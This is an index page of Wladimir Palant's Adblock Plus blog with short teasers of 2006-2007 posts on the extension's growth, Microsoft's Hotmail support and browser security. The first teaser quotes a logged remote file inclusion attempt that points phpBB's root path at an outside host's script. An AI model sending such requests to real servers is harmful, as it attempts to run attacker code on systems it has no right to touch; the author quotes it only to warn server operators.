Adblock Plus and (a little) more
Running a web server is dangerous · 2007-01-17 15:57 by Wladimir Palant
I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:
"GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"
Happy Birthday Adblock Plus! · 2007-01-17 07:00 by Wladimir Palant
Do you remember? The very first Adblock Plus 0.6 came out one year ago (at least if you don’t count mcm’s Adblock Plus which was a very different extension). Since then we had 18 releases and almost three million downloads on addons.mozilla.org. The support forum currently counts 249 members (mind you, registration is not mandatory) and over 1000 threads with almost 9000 posts. Altogether this site had over 1 million visits in the 7 months that it existed. That’s some numbers one doesn’t need to be ashamed of.
Fighting ad blockers - the Microsoft style · 2007-01-16 20:05 by Wladimir Palant
I received a mail from a confused user. She wasn’t able to log into her Hotmail account so she mailed Windows Live support. And the support folks over at Microsoft didn’t need any additional information to find the reason: “it appears that your Firefox browser settings are not optimized”. Now, how does one optimize the browser settings according to Microsoft?
Speaking of IE security... · 2007-01-12 14:49 by Wladimir Palant
I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all.
AMO moving into the right direction · 2007-01-12 02:21 by Wladimir Palant
Thanks to morgamic for telling me this, I probably wouldn’t have noticed otherwise — Addons.Mozilla.Org has made a first move towards raising the quality bar. The autogenerated spyware-infested Conduit-based toolbars have been disabled, all 93 of them. Any new submissions will be automatically rejected. Way to go, AMO!
Hit counts for element hiding: coming · 2007-01-11 15:43 by Wladimir Palant
Recently I wrote about a solution I came up with to provide hit counts for element hiding. However, it uses XBL with the consequence that it would not work when JavaScript is disable and it would probably also slow down browsing. And only today I found the solution that should be obvious, without the disadvantages.
The biggest Plus around · 2007-01-08 11:03 by Wladimir Palant
There are always interesting things to find in the server logs. This time I noticed that a few people coming to adblockplus.org were searching for “plus.de”. I tried it and – wow, Adblock Plus is the second search result after the actual plus.de. And if you only search for plus Adblock Plus comes up on the places 22 (AMO) and 36 (adblockplus.org), for such a generic term this isn’t bad either.
Firefox security: the real picture · 2007-01-05 12:37 by Wladimir Palant
I have seen many people complaining about how Firefox is no more secure than Internet Explorer. Usually this impression comes up when people read the long lists of security bugs fixed with every maintenance release. Since I have reported a few security bugs myself and could observe how Mozilla deals with those, I knew well that Firefox is still incomparably more secure than Internet Explorer — and now there is proof. Internet Explorer Unsafe for 284 Days in 2006 has the data.
Adblock Plus on the crossroads · 2006-12-21 15:09 by Wladimir Palant
Now that Adblock Plus has reached a certain level of maturity and made it to rank 1 by downloads on AMO, there is a question about how it should be developed further. Incremental improvements will continue of course, there are still nice things to be added (the ability to unblock immediately above all). But Adblock Plus has reached a point where it already has most of the features that the general public needs. Most new features will become available as separate extensions.
Firefox 2.0.0.1 and impact on addon downloads · 2006-12-21 01:30 by Wladimir Palant
I am looking at the development of addon downloads on Addons.Mozilla.Org for the last few days and I really have trouble understanding it: